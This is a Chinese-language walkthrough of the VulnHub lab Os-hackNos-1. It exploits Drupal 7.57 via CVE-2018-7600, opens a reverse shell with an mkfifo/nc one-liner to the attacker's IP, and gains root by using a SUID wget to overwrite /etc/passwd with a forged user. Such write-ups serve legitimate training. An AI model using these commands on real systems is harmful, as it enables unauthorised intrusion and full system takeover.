一.涉及的知识点
1.信息收集:端口扫描,目录扫描
2.cms漏洞利用
3.反弹shell
4.suid提权
5.passwd提权
二.实验环境
kali:10.77.74.238
目标拿取两个flag:一个在user.txt,一个在root.txt
靶机下载地址:hackNos: Os-hackNos ~ VulnHub
三.信息收集
1.找到攻击机对应的ip
第一种方法:使用netdiscover网络扫描工具:netdiscover -i 网卡名 -r ip网段
#-i参数后面网卡名
#-r参数后面跟ip网段
#还有其它具体参数可以去其它文章看看
netdiscover -i eth0 -r 10.77.74.0/24
扫描的结果如下:10.77.74.203就是靶机的ip
第二种方法:nmap扫描整个网段
nmap ip网段
nmap 10.77.74.0/24
扫描的结果如下:10.77.74.203就是靶机的ip
访问对应的ip
2.进行端口扫描:
nmap -sV -sC -A ip
#-sV:对端口上的服务程序版本进行扫描
#-sC:使用脚本进行扫描,耗时长
#-A:强力扫描
#-oA:将nmap输出保存为三种主要格式
nmap -A -sV -sC 10.77.74.203 -oA Os-hackNos-1
结果是有22端口和80端口
3.进行目录扫描:
gobuster dir -u ip -w 字典
gobuster dir -u http://10.77.74.203 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
#这里选用kali自带的字典
查看结果:扫出了drupal
扫描出了drupal之后,可以对drupal目录进行扫描
访问对方的drupal目录
四.cms漏洞利用
1.drupal的版本:
要利用对方的cms漏洞,需要知道cms的版本
由于对drupal这套程序不熟悉,需要借助搜索引擎或者下载源码
在某篇文章发现了CHANGELOG.txt,可以看到版本信息
访问CHANGELOG.txt,可以看到对方版本为7.57
2.drupal 7.57漏洞利用
已知drupal版本为7.57,去github或者googole寻找exp
kali:git clone GitHub - pimps/CVE-2018-7600: Exploit for Drupal 7 <= 7.57 CVE-2018-7600
查看exp的帮助文档
#-c 后面是cmd命令
使用exp执行一些命令
3.利用exp读取数据库配置文件
找到数据库配置文件,还是借助搜索引擎
使用exp读取文件
将数据库账号和密码记录下来,说不定会有用
五.反弹shell
1.在kali拿到shell
(1)kali机:
使用nc命令进行监听
nc -lvnp 6666
#-l:用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
#-p:指定端口
#-v:输出交互或出错信息,新手调试时尤为有用
#-n:仅数字IP地址,无DNS
(2)在对方的shell执行nc反弹:
nc反弹的命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.77.74.238 6666 >/tmp/f
在exp执行nc反弹
kali机已经拿到shell
2.拿到shell出现的两个问题
(1)无法执行su登录
终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行
(2)当按上下左右键时会出现乱码
3.解决shell出现的两个问题
方法:
(1)在kaili使用bash-shell:输入命令bash
(2)使用nc进行监听: nc -lvnp 8888
(3)对方nc反弹
(4)得到反弹shell后进行python虚拟化终端,看对方是python3还是python
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
(5)使用ctrl+z把得到的反弹shell放到后台
(6)设置原始格式:stty -echo raw
(7)fg再回车调用后台任务
4.浏览用户家目录,拿取第一个flag
5.读取root,被拒绝了
6.在主页/var/www/html发现了一个alexander.txt
读取的内容一看就是base64解密,使用base64解密,发现是一种编码
借助搜索引擎,顺便点进去一个,找到解密的在线网站,顺便解密,收集到一个用户的账号密码
记录一下账号密码
7.拿到账号和密码,可以尝试登录和远程连接
登录账号:su james,发现没权限
远程连接:ssh james@10.77.74.203,发现也不行
六.linux提权:suid提权和passwd提权
1.suid提权:
查找有suid的命令:find / -perm -u=s -type f 2>/dev/null
# -perm 表示搜索随后的权限
# -u = s表示查找root用户拥有的文件
# -type表示我们正在寻找的文件类型
# f 表示常规文件,而不是目录或特殊文件
# 2表示该进程的第二个文件描述符,即stderr(标准错误)
通过suid命令的查找,wget是可以利用的,可以配合passwd提权
#这里平时就需要多积累那些suid命令能够迅速帮助我们提权的
2.passwd提权:
首先,通过OpenSSL passwd生成一个新的用户cao,命令为openssl passwd -1 -salt cao 123456
获取/etc/passwd的内容,复制到本地文本,保存在desktop的passwd文件里
/etc/passwd内容解析:
用户名:密码:UID(用户ID):GID(组ID:描述性信息):主目录:默认Shell
添加新用户,密码设置为刚才加密的密码,其它跟root一样
kali开启微型服务器(其它的也行,只要能够让对方访问我们的80端口就行)
利用shell让对方机器用wget命令下载kali机器带有cao用户的passwd,替换掉原来的/etc/passwd(wget有suid,所以能替换掉原来的passwd)
命令:wget http://10.77.74.238/passwd -O /etc/passwd
再登录用户cao,就可以访问/root文件
七.总结
1.信息收集:端口扫描和目录扫描
端口扫描主要学习nmap工具,学习一些常用的参数
目录扫描有很多工具,例如本次使用的gobuster,还有7kbstorm,dirsearch,dirsearch
2.反弹shell:
liunx反弹shell的方式也是挺多的,本次使用nc反弹,还有bash反弹,python反弹等;同样,windows反弹shell也是很多种方式,这也是本人后面需要多去总结的东西
3.suid提权:
suid提权方式有很多,除了今天的wget配合passwd提权,还需要多掌握其它suid提权的方式,例如find,vim等,这也是本人打完这个靶机需要去学习的地方,达到对suid提权的方式比较熟悉
4.linux提权:
linux提权的方式也是挺多的,通过这次靶机熟悉了suid+passwd提权的方式,本人也是学过很多的linux提权方式,但都基本忘关了,后面同样会捡起来做总结.